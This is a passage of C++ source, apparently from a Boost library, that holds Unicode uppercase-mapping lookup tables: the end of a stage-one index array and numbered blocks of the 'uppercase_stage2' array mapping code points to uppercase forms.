6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6};
static const ::boost::uint32_t uppercase_stage2[] = {
// block 0
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 65, 66,
67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
86, 87, 88, 89, 90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 924, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202,
203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 0, 216, 217,
218, 219, 220, 221, 222, 376,
// block 1
0, 256, 0, 258, 0, 260, 0, 262, 0, 264, 0, 266, 0, 268, 0, 270, 0, 272, 0,
274, 0, 276, 0, 278, 0, 280, 0, 282, 0, 284, 0, 286, 0, 288, 0, 290, 0, 292,
0, 294, 0, 296, 0, 298, 0, 300, 0, 302, 0, 73, 0, 306, 0, 308, 0, 310, 0, 0,
313, 0, 315, 0, 317, 0, 319, 0, 321, 0, 323, 0, 325, 0, 327, 0, 0, 330, 0,
332, 0, 334, 0, 336, 0, 338, 0, 340, 0, 342, 0, 344, 0, 346, 0, 348, 0, 350,
0, 352, 0, 354, 0, 356, 0, 358, 0, 360, 0, 362, 0, 364, 0, 366, 0, 368, 0,
370, 0, 372, 0, 374, 0, 0, 377, 0, 379, 0, 381, 83, 579, 0, 0, 386, 0, 388,
0, 0, 391, 0, 0, 0, 395, 0, 0, 0, 0, 0, 401, 0, 0, 502, 0, 0, 0, 408, 573,
0, 0, 0, 544, 0, 0, 416, 0, 418, 0, 420, 0, 0, 423, 0, 0, 0, 0, 428, 0, 0,
431, 0, 0, 0, 435, 0, 437, 0, 0, 440, 0, 0, 0, 444, 0, 503, 0, 0, 0, 0, 0,
452, 452, 0, 455, 455, 0, 458, 458, 0, 461, 0, 463, 0, 465, 0, 467, 0, 469,
0, 471, 0, 473, 0, 475, 398, 0, 478, 0, 480, 0, 482, 0, 484, 0, 486, 0, 488,
0, 490, 0, 492, 0, 494, 0, 0, 497, 497, 0, 500, 0, 0, 0, 504, 0, 506, 0,
508, 0, 510,
// block 2
0, 512, 0, 514, 0, 516, 0, 518, 0, 520, 0, 522, 0, 524, 0, 526, 0, 528, 0,
530, 0, 532, 0, 534, 0, 536, 0, 538, 0, 540, 0, 542, 0, 0, 0, 546, 0, 548,
0, 550, 0, 552, 0, 554, 0, 556, 0, 558, 0, 560, 0, 562, 0, 0, 0, 0, 0, 0, 0,
0, 571, 0, 0, 0, 0, 0, 577, 0, 0, 0, 0, 582, 0, 584, 0, 586, 0, 588, 0, 590,
11375, 11373, 0, 385, 390, 0, 393, 394, 0, 399, 0, 400, 0, 0, 0, 0, 403, 0,
0, 404, 0, 0, 0, 0, 407, 406, 0, 11362, 0, 0, 0, 412, 0, 11374, 413, 0, 0,
415, 0, 0, 0, 0, 0, 0, 0, 11364, 0, 0, 422, 0, 0, 425, 0, 0, 0, 0, 430, 580,
433, 434, 581, 0, 0, 0, 0, 0, 439, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 3
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 921, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 880, 0, 882, 0, 0, 0, 886, 0, 0, 0,
1021, 1022, 1023, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 902, 904, 905, 906, 0, 913, 914, 915, 916, 917, 918, 919, 920, 921,
922, 923, 924, 925, 926, 927, 928, 929, 931, 931, 932, 933, 934, 935, 936,
937, 938, 939, 908, 910, 911, 0, 914, 920, 0, 0, 0, 934, 928, 975, 0, 984,
0, 986, 0, 988, 0, 990, 0, 992, 0, 994, 0, 996, 0, 998, 0, 1000, 0, 1002, 0,
1004, 0, 1006, 922, 929, 1017, 0, 0, 917, 0, 0, 1015, 0, 0, 1018, 0, 0, 0,
0,
// block 4
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1040,
1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052,
1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064,
1065, 1066, 1067, 1068, 1069, 1070, 1071, 1024, 1025, 1026, 1027, 1028,
1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 0, 1120,
0, 1122, 0, 1124, 0, 1126, 0, 1128, 0, 1130, 0, 1132, 0, 1134, 0, 1136, 0,
1138, 0, 1140, 0, 1142, 0, 1144, 0, 1146, 0, 1148, 0, 1150, 0, 1152, 0, 0,
0, 0, 0, 0, 0, 0, 0, 1162, 0, 1164, 0, 1166, 0, 1168, 0, 1170, 0, 1172, 0,
1174, 0, 1176, 0, 1178, 0, 1180, 0, 1182, 0, 1184, 0, 1186, 0, 1188, 0,
1190, 0, 1192, 0, 1194, 0, 1196, 0, 1198, 0, 1200, 0, 1202, 0, 1204, 0,
1206, 0, 1208, 0, 1210, 0, 1212, 0, 1214, 0, 0, 1217, 0, 1219, 0, 1221, 0,
1223, 0, 1225, 0, 1227, 0, 1229, 1216, 0, 1232, 0, 1234, 0, 1236, 0, 1238,
0, 1240, 0, 1242, 0, 1244, 0, 1246, 0, 1248, 0, 1250, 0, 1252, 0, 1254, 0,
1256, 0, 1258, 0, 1260, 0, 1262, 0, 1264, 0, 1266, 0, 1268, 0, 1270, 0,
1272, 0, 1274, 0, 1276, 0, 1278,
// block 5
0, 1280, 0, 1282, 0, 1284, 0, 1286, 0, 1288, 0, 1290, 0, 1292, 0, 1294, 0,
1296, 0, 1298, 0, 1300, 0, 1302, 0, 1304, 0, 1306, 0, 1308, 0, 1310, 0,
1312, 0, 1314, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1329, 1330, 1331, 1332,
1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344,
1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356,
1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 6
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0,
// block 7
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42877, 0, 0,
0, 11363, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
// block 8
0, 7680, 0, 7682, 0, 7684, 0, 7686, 0, 7688, 0, 7690, 0, 7692, 0, 7694, 0,
7696, 0, 7698, 0, 7700, 0, 7702, 0, 7704, 0, 7706, 0, 7708, 0, 7710, 0,
7712, 0, 7714, 0, 7716, 0, 7718, 0, 7720, 0, 7722, 0, 7724, 0, 7726, 0,
7728, 0, 7730, 0, 7732, 0, 7734, 0, 7736, 0, 7738, 0, 7740, 0, 7742, 0,
7744, 0, 7746, 0, 7748, 0, 7750, 0, 7752, 0, 7754, 0, 7756, 0, 7758, 0,
7760, 0, 7762, 0, 7764, 0, 7766, 0, 7768, 0, 7770, 0, 7772, 0, 7774, 0,
7776, 0, 7778, 0, 7780, 0, 7782, 0, 7784, 0, 7786, 0, 7788, 0, 7790, 0,
7792, 0, 7794, 0, 7796, 0, 7798, 0, 7800, 0, 7802, 0, 7804, 0, 7806, 0,
7808, 0, 7810, 0, 7812, 0, 7814, 0, 7816, 0, 7818, 0, 7820, 0, 7822, 0,
7824, 0, 7826, 0, 7828, 0, 0, 0, 0, 0, 7776, 0, 0, 0, 0, 0, 7840, 0, 7842,
0, 7844, 0, 7846, 0, 7848, 0, 7850, 0, 7852, 0, 7854, 0, 7856, 0, 7858, 0,
7860, 0, 7862, 0, 7864, 0, 7866, 0, 7868, 0, 7870, 0, 7872, 0, 7874, 0,
7876, 0, 7878, 0, 7880, 0, 7882, 0, 7884, 0, 7886, 0, 7888, 0, 7890, 0,
7892, 0, 7894, 0, 7896, 0, 7898, 0, 7900, 0, 7902, 0, 7904, 0, 7906, 0,
7908, 0, 7910, 0, 7912, 0, 7914, 0, 7916, 0, 7918, 0, 7920, 0, 7922, 0,
7924, 0, 7926, 0, 7928, 0, 7930, 0, 7932, 0, 7934,
// block 9
7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 0, 0, 0, 0, 0, 0, 0, 0,
7960, 7961, 7962, 7963, 7964, 7965, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7976,
7977, 7978, 7979, 7980, 7981, 7982, 7983, 0, 0, 0, 0, 0, 0, 0, 0, 7992,
7993, 7994, 7995, 7996, 7997, 7998, 7999, 0, 0, 0, 0, 0, 0, 0, 0, 8008,
8009, 8010, 8011, 8012, 8013, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8025, 0,
8027, 0, 8029, 0, 8031, 0, 0, 0, 0, 0, 0, 0, 0, 8040, 8041, 8042, 8043,
8044, 8045, 8046, 8047, 0, 0, 0, 0, 0, 0, 0, 0, 8122, 8123, 8136, 8137,
8138, 8139, 8154, 8155, 8184, 8185, 8170, 8171, 8186, 8187, 0, 0, 8072,
8073, 8074, 8075, 8076, 8077, 8078, 8079, 0, 0, 0, 0, 0, 0, 0, 0, 8088,
8089, 8090, 8091, 8092, 8093, 8094, 8095, 0, 0, 0, 0, 0, 0, 0, 0, 8104,
8105, 8106, 8107, 8108, 8109, 8110, 8111, 0, 0, 0, 0, 0, 0, 0, 0, 8120,
8121, 0, 8124, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 921, 0, 0, 0, 0, 8140, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 8152, 8153, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 8168, 8169, 0, 0, 0, 8172, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8188, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// block 10
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
